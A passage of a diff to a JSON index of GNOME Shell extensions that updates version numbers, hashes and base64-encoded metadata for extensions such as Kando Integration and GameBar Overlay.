-    "46": {"version": "6", "sha256": "19qjbvxdy21zaxrkgfwpn4qwq3lki2hki2dw3jzla77ls0zcqjbb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgZXh0ZW5zaW9uIGlzIHJlcXVpcmVkIGZvciBLYW5kbyB0byB3b3JrIG9uIFdheWxhbmQuIEl0IGFsbG93cyBLYW5kbyB0byBiaW5kIGdsb2JhbCBzaG9ydGN1dHMsIGFuZCBwcm92aWRlcyBpbmZvcm1hdGlvbiBhYm91dCB5b3VyIGN1cnJlbnRseSBmb2N1c2VkIGFwcGxpY2F0aW9uIHdpbmRvdyBhbmQgdGhlIHBvc2l0aW9uIG9mIHlvdXIgbW91c2UgcG9pbnRlci4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogInNjaG5lZWdhbnMiLAogICAgImtvZmkiOiAic2NobmVlZ2FucyIsCiAgICAicGF5cGFsIjogInNpbW9uc2NobmVlZ2FucyIKICB9LAogICJuYW1lIjogIkthbmRvIEludGVncmF0aW9uIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmthbmRvLWludGVncmF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2thbmRvLW1lbnUiLAogICJ1dWlkIjogImthbmRvLWludGVncmF0aW9uQGthbmRvLW1lbnUuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDYsCiAgInZlcnNpb24tbmFtZSI6ICJ2MC41LjAiCn0="},
-    "47": {"version": "6", "sha256": "19qjbvxdy21zaxrkgfwpn4qwq3lki2hki2dw3jzla77ls0zcqjbb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgZXh0ZW5zaW9uIGlzIHJlcXVpcmVkIGZvciBLYW5kbyB0byB3b3JrIG9uIFdheWxhbmQuIEl0IGFsbG93cyBLYW5kbyB0byBiaW5kIGdsb2JhbCBzaG9ydGN1dHMsIGFuZCBwcm92aWRlcyBpbmZvcm1hdGlvbiBhYm91dCB5b3VyIGN1cnJlbnRseSBmb2N1c2VkIGFwcGxpY2F0aW9uIHdpbmRvdyBhbmQgdGhlIHBvc2l0aW9uIG9mIHlvdXIgbW91c2UgcG9pbnRlci4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogInNjaG5lZWdhbnMiLAogICAgImtvZmkiOiAic2NobmVlZ2FucyIsCiAgICAicGF5cGFsIjogInNpbW9uc2NobmVlZ2FucyIKICB9LAogICJuYW1lIjogIkthbmRvIEludGVncmF0aW9uIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmthbmRvLWludGVncmF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2thbmRvLW1lbnUiLAogICJ1dWlkIjogImthbmRvLWludGVncmF0aW9uQGthbmRvLW1lbnUuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDYsCiAgInZlcnNpb24tbmFtZSI6ICJ2MC41LjAiCn0="},
-    "48": {"version": "6", "sha256": "19qjbvxdy21zaxrkgfwpn4qwq3lki2hki2dw3jzla77ls0zcqjbb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgZXh0ZW5zaW9uIGlzIHJlcXVpcmVkIGZvciBLYW5kbyB0byB3b3JrIG9uIFdheWxhbmQuIEl0IGFsbG93cyBLYW5kbyB0byBiaW5kIGdsb2JhbCBzaG9ydGN1dHMsIGFuZCBwcm92aWRlcyBpbmZvcm1hdGlvbiBhYm91dCB5b3VyIGN1cnJlbnRseSBmb2N1c2VkIGFwcGxpY2F0aW9uIHdpbmRvdyBhbmQgdGhlIHBvc2l0aW9uIG9mIHlvdXIgbW91c2UgcG9pbnRlci4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogInNjaG5lZWdhbnMiLAogICAgImtvZmkiOiAic2NobmVlZ2FucyIsCiAgICAicGF5cGFsIjogInNpbW9uc2NobmVlZ2FucyIKICB9LAogICJuYW1lIjogIkthbmRvIEludGVncmF0aW9uIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmthbmRvLWludGVncmF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2thbmRvLW1lbnUiLAogICJ1dWlkIjogImthbmRvLWludGVncmF0aW9uQGthbmRvLW1lbnUuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDYsCiAgInZlcnNpb24tbmFtZSI6ICJ2MC41LjAiCn0="}
+    "45": {"version": "7", "sha256": "1ds5mlh9wlasfazy4vvhxqsssjwswa2g1i7vglrw7wzygfib1r92", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgZXh0ZW5zaW9uIGlzIHJlcXVpcmVkIGZvciBLYW5kbyB0byB3b3JrIG9uIFdheWxhbmQuIEl0IGFsbG93cyBLYW5kbyB0byBiaW5kIGdsb2JhbCBzaG9ydGN1dHMsIGFuZCBwcm92aWRlcyBpbmZvcm1hdGlvbiBhYm91dCB5b3VyIGN1cnJlbnRseSBmb2N1c2VkIGFwcGxpY2F0aW9uIHdpbmRvdyBhbmQgdGhlIHBvc2l0aW9uIG9mIHlvdXIgbW91c2UgcG9pbnRlci4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogInNjaG5lZWdhbnMiLAogICAgImtvZmkiOiAic2NobmVlZ2FucyIsCiAgICAicGF5cGFsIjogInNpbW9uc2NobmVlZ2FucyIKICB9LAogICJuYW1lIjogIkthbmRvIEludGVncmF0aW9uIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmthbmRvLWludGVncmF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2thbmRvLW1lbnUiLAogICJ1dWlkIjogImthbmRvLWludGVncmF0aW9uQGthbmRvLW1lbnUuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDcsCiAgInZlcnNpb24tbmFtZSI6ICJ2MC42LjAiCn0="},
+    "46": {"version": "7", "sha256": "1ds5mlh9wlasfazy4vvhxqsssjwswa2g1i7vglrw7wzygfib1r92", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgZXh0ZW5zaW9uIGlzIHJlcXVpcmVkIGZvciBLYW5kbyB0byB3b3JrIG9uIFdheWxhbmQuIEl0IGFsbG93cyBLYW5kbyB0byBiaW5kIGdsb2JhbCBzaG9ydGN1dHMsIGFuZCBwcm92aWRlcyBpbmZvcm1hdGlvbiBhYm91dCB5b3VyIGN1cnJlbnRseSBmb2N1c2VkIGFwcGxpY2F0aW9uIHdpbmRvdyBhbmQgdGhlIHBvc2l0aW9uIG9mIHlvdXIgbW91c2UgcG9pbnRlci4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogInNjaG5lZWdhbnMiLAogICAgImtvZmkiOiAic2NobmVlZ2FucyIsCiAgICAicGF5cGFsIjogInNpbW9uc2NobmVlZ2FucyIKICB9LAogICJuYW1lIjogIkthbmRvIEludGVncmF0aW9uIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmthbmRvLWludGVncmF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2thbmRvLW1lbnUiLAogICJ1dWlkIjogImthbmRvLWludGVncmF0aW9uQGthbmRvLW1lbnUuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDcsCiAgInZlcnNpb24tbmFtZSI6ICJ2MC42LjAiCn0="},
+    "47": {"version": "7", "sha256": "1ds5mlh9wlasfazy4vvhxqsssjwswa2g1i7vglrw7wzygfib1r92", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgZXh0ZW5zaW9uIGlzIHJlcXVpcmVkIGZvciBLYW5kbyB0byB3b3JrIG9uIFdheWxhbmQuIEl0IGFsbG93cyBLYW5kbyB0byBiaW5kIGdsb2JhbCBzaG9ydGN1dHMsIGFuZCBwcm92aWRlcyBpbmZvcm1hdGlvbiBhYm91dCB5b3VyIGN1cnJlbnRseSBmb2N1c2VkIGFwcGxpY2F0aW9uIHdpbmRvdyBhbmQgdGhlIHBvc2l0aW9uIG9mIHlvdXIgbW91c2UgcG9pbnRlci4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogInNjaG5lZWdhbnMiLAogICAgImtvZmkiOiAic2NobmVlZ2FucyIsCiAgICAicGF5cGFsIjogInNpbW9uc2NobmVlZ2FucyIKICB9LAogICJuYW1lIjogIkthbmRvIEludGVncmF0aW9uIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmthbmRvLWludGVncmF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2thbmRvLW1lbnUiLAogICJ1dWlkIjogImthbmRvLWludGVncmF0aW9uQGthbmRvLW1lbnUuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDcsCiAgInZlcnNpb24tbmFtZSI6ICJ2MC42LjAiCn0="},
+    "48": {"version": "7", "sha256": "1ds5mlh9wlasfazy4vvhxqsssjwswa2g1i7vglrw7wzygfib1r92", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgZXh0ZW5zaW9uIGlzIHJlcXVpcmVkIGZvciBLYW5kbyB0byB3b3JrIG9uIFdheWxhbmQuIEl0IGFsbG93cyBLYW5kbyB0byBiaW5kIGdsb2JhbCBzaG9ydGN1dHMsIGFuZCBwcm92aWRlcyBpbmZvcm1hdGlvbiBhYm91dCB5b3VyIGN1cnJlbnRseSBmb2N1c2VkIGFwcGxpY2F0aW9uIHdpbmRvdyBhbmQgdGhlIHBvc2l0aW9uIG9mIHlvdXIgbW91c2UgcG9pbnRlci4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogInNjaG5lZWdhbnMiLAogICAgImtvZmkiOiAic2NobmVlZ2FucyIsCiAgICAicGF5cGFsIjogInNpbW9uc2NobmVlZ2FucyIKICB9LAogICJuYW1lIjogIkthbmRvIEludGVncmF0aW9uIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmthbmRvLWludGVncmF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2thbmRvLW1lbnUiLAogICJ1dWlkIjogImthbmRvLWludGVncmF0aW9uQGthbmRvLW1lbnUuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDcsCiAgInZlcnNpb24tbmFtZSI6ICJ2MC42LjAiCn0="}
   }}
 , {"uuid": "wikiartwallpaper@cankurttekin", "name": "WikiArt Wallpaper", "pname": "wikiart-wallpaper", "description": "A simple GNOME Shell extension to set your wallpaper to one of WikiArts Artwork of the day with single click! Disclaimer: This extension is not affiliated, funded, or in any way associated with WikiArt.", "link": "https://extensions.gnome.org/extension/7071/wikiart-wallpaper/", "shell_version_map": {
     "38": {"version": "8", "sha256": "0siw6mdh96cd4nii3mskv2s5c1ddi3wzddhslcr4yxr0sc9chdik", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIEdOT01FIFNoZWxsIGV4dGVuc2lvbiB0byBkaXNwbGF5IFdpa2lBcnQgQXJ0d29yayBvZiB0aGUgZGF5LiBUaGlzIGV4dGVuc2lvbiBpcyBub3QgYWZmaWxpYXRlZCwgZnVuZGVkLCBvciBpbiBhbnkgd2F5IGFzc29jaWF0ZWQgd2l0aCBXaWtpQXJ0LiIsCiAgIm5hbWUiOiAiV2lraUFydCBXYWxscGFwZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjMuMzYiLAogICAgIjMuMzgiLAogICAgIjQwIiwKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY2Fua3VydHRla2luL1dpa2lBcnQtV2FsbHBhcGVyLUdub21lIiwKICAidXVpZCI6ICJ3aWtpYXJ0d2FsbHBhcGVyQGNhbmt1cnR0ZWtpbiIsCiAgInZlcnNpb24iOiA4Cn0="},
@@ -8395,9 +8419,9 @@
     "48": {"version": "8", "sha256": "0g88520d42x5j27pynz6bgx89cvrjzgfp420aiq3drgsr96gf54k", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgYSBtZW51IGl0ZW0gdG8gcmVzdGFydCB0byBhbnkgb3RoZXIgRUZJIGJvb3QgZW50cnkiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJyZXN0YXJ0dG9AdGlhZ29wb3JzY2guZ2l0aHViLmlvIiwKICAibmFtZSI6ICJSZXN0YXJ0IFRvIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnJlc3RhcnR0byIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS90aWFnb3BvcnNjaC9yZXN0YXJ0dG8iLAogICJ1dWlkIjogInJlc3RhcnR0b0B0aWFnb3BvcnNjaC5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogOAp9"}
   }}
 , {"uuid": "gamebar-overlay@dekotale.github.io", "name": "GameBar Overlay", "pname": "gamebar-overlay", "description": "A fullscreen overlay widget for GNOME that displays useful information, audio controls and more. The default key to open is Super + G, and it is configurable in the settings.", "link": "https://extensions.gnome.org/extension/7221/gamebar-overlay/", "shell_version_map": {
-    "46": {"version": "11", "sha256": "0swh0q5r2d6yninpr27f2yq0bczs4cm8v6h3a6i5i2s82inzm72s", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgZnVsbHNjcmVlbiBvdmVybGF5IHdpZGdldCBmb3IgR05PTUUgdGhhdCBkaXNwbGF5cyB1c2VmdWwgaW5mb3JtYXRpb24sIGF1ZGlvIGNvbnRyb2xzIGFuZCBtb3JlLiBUaGUgZGVmYXVsdCBrZXkgdG8gb3BlbiBpcyBTdXBlciArIEcsIGFuZCBpdCBpcyBjb25maWd1cmFibGUgaW4gdGhlIHNldHRpbmdzLiIsCiAgImdldHRleHQtZG9tYWluIjogImdhbWViYXItb3ZlcmxheUBkZWtvdGFsZS5naXRodWIuaW8iLAogICJuYW1lIjogIkdhbWVCYXIgT3ZlcmxheSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5nYW1lYmFyLW92ZXJsYXkiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9kZWtvdGFsZS9HYW1lQmFyLU92ZXJsYXkiLAogICJ1dWlkIjogImdhbWViYXItb3ZlcmxheUBkZWtvdGFsZS5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMTEKfQ=="},
-    "47": {"version": "11", "sha256": "0swh0q5r2d6yninpr27f2yq0bczs4cm8v6h3a6i5i2s82inzm72s", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgZnVsbHNjcmVlbiBvdmVybGF5IHdpZGdldCBmb3IgR05PTUUgdGhhdCBkaXNwbGF5cyB1c2VmdWwgaW5mb3JtYXRpb24sIGF1ZGlvIGNvbnRyb2xzIGFuZCBtb3JlLiBUaGUgZGVmYXVsdCBrZXkgdG8gb3BlbiBpcyBTdXBlciArIEcsIGFuZCBpdCBpcyBjb25maWd1cmFibGUgaW4gdGhlIHNldHRpbmdzLiIsCiAgImdldHRleHQtZG9tYWluIjogImdhbWViYXItb3ZlcmxheUBkZWtvdGFsZS5naXRodWIuaW8iLAogICJuYW1lIjogIkdhbWVCYXIgT3ZlcmxheSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5nYW1lYmFyLW92ZXJsYXkiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9kZWtvdGFsZS9HYW1lQmFyLU92ZXJsYXkiLAogICJ1dWlkIjogImdhbWViYXItb3ZlcmxheUBkZWtvdGFsZS5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMTEKfQ=="},
-    "48": {"version": "11", "sha256": "0swh0q5r2d6yninpr27f2yq0bczs4cm8v6h3a6i5i2s82inzm72s", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgZnVsbHNjcmVlbiBvdmVybGF5IHdpZGdldCBmb3IgR05PTUUgdGhhdCBkaXNwbGF5cyB1c2VmdWwgaW5mb3JtYXRpb24sIGF1ZGlvIGNvbnRyb2xzIGFuZCBtb3JlLiBUaGUgZGVmYXVsdCBrZXkgdG8gb3BlbiBpcyBTdXBlciArIEcsIGFuZCBpdCBpcyBjb25maWd1cmFibGUgaW4gdGhlIHNldHRpbmdzLiIsCiAgImdldHRleHQtZG9tYWluIjogImdhbWViYXItb3ZlcmxheUBkZWtvdGFsZS5naXRodWIuaW8iLAogICJuYW1lIjogIkdhbWVCYXIgT3ZlcmxheSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5nYW1lYmFyLW92ZXJsYXkiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9kZWtvdGFsZS9HYW1lQmFyLU92ZXJsYXkiLAogICJ1dWlkIjogImdhbWViYXItb3ZlcmxheUBkZWtvdGFsZS5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMTEKfQ=="}
+    "46": {"version": "14", "sha256": "11145kwja6q42sqgi7hp1s7aihzi9ml4x4zbry114fh8zs0cgcql", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgZnVsbHNjcmVlbiBvdmVybGF5IHdpZGdldCBmb3IgR05PTUUgdGhhdCBkaXNwbGF5cyB1c2VmdWwgaW5mb3JtYXRpb24sIGF1ZGlvIGNvbnRyb2xzIGFuZCBtb3JlLiBUaGUgZGVmYXVsdCBrZXkgdG8gb3BlbiBpcyBTdXBlciArIEcsIGFuZCBpdCBpcyBjb25maWd1cmFibGUgaW4gdGhlIHNldHRpbmdzLiIsCiAgImdldHRleHQtZG9tYWluIjogImdhbWViYXItb3ZlcmxheUBkZWtvdGFsZS5naXRodWIuaW8iLAogICJuYW1lIjogIkdhbWVCYXIgT3ZlcmxheSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5nYW1lYmFyLW92ZXJsYXkiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9kZWtvdGFsZS9HYW1lQmFyLU92ZXJsYXkiLAogICJ1dWlkIjogImdhbWViYXItb3ZlcmxheUBkZWtvdGFsZS5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMTQKfQ=="},
+    "47": {"version": "14", "sha256": "11145kwja6q42sqgi7hp1s7aihzi9ml4x4zbry114fh8zs0cgcql", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgZnVsbHNjcmVlbiBvdmVybGF5IHdpZGdldCBmb3IgR05PTUUgdGhhdCBkaXNwbGF5cyB1c2VmdWwgaW5mb3JtYXRpb24sIGF1ZGlvIGNvbnRyb2xzIGFuZCBtb3JlLiBUaGUgZGVmYXVsdCBrZXkgdG8gb3BlbiBpcyBTdXBlciArIEcsIGFuZCBpdCBpcyBjb25maWd1cmFibGUgaW4gdGhlIHNldHRpbmdzLiIsCiAgImdldHRleHQtZG9tYWluIjogImdhbWViYXItb3ZlcmxheUBkZWtvdGFsZS5naXRodWIuaW8iLAogICJuYW1lIjogIkdhbWVCYXIgT3ZlcmxheSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5nYW1lYmFyLW92ZXJsYXkiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9kZWtvdGFsZS9HYW1lQmFyLU92ZXJsYXkiLAogICJ1dWlkIjogImdhbWViYXItb3ZlcmxheUBkZWtvdGFsZS5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMTQKfQ=="},
+    "48": {"version": "14", "sha256": "11145kwja6q42sqgi7hp1s7aihzi9ml4x4zbry114fh8zs0cgcql", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgZnVsbHNjcmVlbiBvdmVybGF5IHdpZGdldCBmb3IgR05PTUUgdGhhdCBkaXNwbGF5cyB1c2VmdWwgaW5mb3JtYXRpb24sIGF1ZGlvIGNvbnRyb2xzIGFuZCBtb3JlLiBUaGUgZGVmYXVsdCBrZXkgdG8gb3BlbiBpcyBTdXBlciArIEcsIGFuZCBpdCBpcyBjb25maWd1cmFibGUgaW4gdGhlIHNldHRpbmdzLiIsCiAgImdldHRleHQtZG9tYWluIjogImdhbWViYXItb3ZlcmxheUBkZWtvdGFsZS5naXRodWIuaW8iLAogICJuYW1lIjogIkdhbWVCYXIgT3ZlcmxheSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5nYW1lYmFyLW92ZXJsYXkiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9kZWtvdGFsZS9HYW1lQmFyLU92ZXJsYXkiLAogICJ1dWlkIjogImdhbWViYXItb3ZlcmxheUBkZWtvdGFsZS5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMTQKfQ=="}
   }}
 , {"uuid": "rebootintowindows@nimz.cool", "name": "RebootIntoWindowsWithGRUB", "pname": "rebootintowindows", "description": "Reboot system into Windows with GRUB\n\nIt is a fork of RebootToUEFI.", "link": "https://extensions.gnome.org/extension/7224/rebootintowindows/", "shell_version_map": {
     "45": {"version": "4", "sha256": "1pgshp8w9w9cra7fvh8p71ypb6ygb6x1jangl3ka3b967qh3ir6r", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJlYm9vdCBzeXN0ZW0gaW50byBXaW5kb3dzXG5cbkl0IGlzIGEgZm9yayBvZiBSZWJvb3RUb1VFRkkuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicmVib290aW50b3dpbmRvd3NAbmltei5jb29sIiwKICAibGljZW5zZSI6ICJHUEx2MyIsCiAgIm5hbWUiOiAiUmVib290SW50b1dpbmRvd3MiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9qdXNuaW0vcmVib290aW50b3dpbmRvd3MiLAogICJ1dWlkIjogInJlYm9vdGludG93aW5kb3dzQG5pbXouY29vbCIsCiAgInZlcnNpb24iOiA0Cn0="},
@@ -8435,10 +8459,10 @@
     "46": {"version": "11", "sha256": "13mfqvp5vbgxa8wn9v379l2rjp4dfn8qblw2y101nzpkm6s1aabm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgYmV0dGVyIGV4cGVyaWVuY2Ugd2l0aCB0aGUgR05PTUUgbWFnbmlmaWVyIiwKICAiZG9uYXRpb25zIjogewogICAgImN1c3RvbSI6ICJodHRwczovL2dpdGh1Yi5jb20vcG9wb3Y4OTUvcG9wb3Y4OTUiCiAgfSwKICAibmFtZSI6ICJCZXR0ZXIgRGVza3RvcCBab29tIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmJldHRlci1kZXNrdG9wLXpvb20iLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9wb3Bvdjg5NS9iZXR0ZXItZGVza3RvcC16b29tIiwKICAidXVpZCI6ICJiZXR0ZXItZGVza3RvcC16b29tQHBvcG92ODk1LnVrci5uZXQiLAogICJ2ZXJzaW9uIjogMTEKfQ=="},
     "47": {"version": "11", "sha256": "13mfqvp5vbgxa8wn9v379l2rjp4dfn8qblw2y101nzpkm6s1aabm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgYmV0dGVyIGV4cGVyaWVuY2Ugd2l0aCB0aGUgR05PTUUgbWFnbmlmaWVyIiwKICAiZG9uYXRpb25zIjogewogICAgImN1c3RvbSI6ICJodHRwczovL2dpdGh1Yi5jb20vcG9wb3Y4OTUvcG9wb3Y4OTUiCiAgfSwKICAibmFtZSI6ICJCZXR0ZXIgRGVza3RvcCBab29tIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmJldHRlci1kZXNrdG9wLXpvb20iLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9wb3Bvdjg5NS9iZXR0ZXItZGVza3RvcC16b29t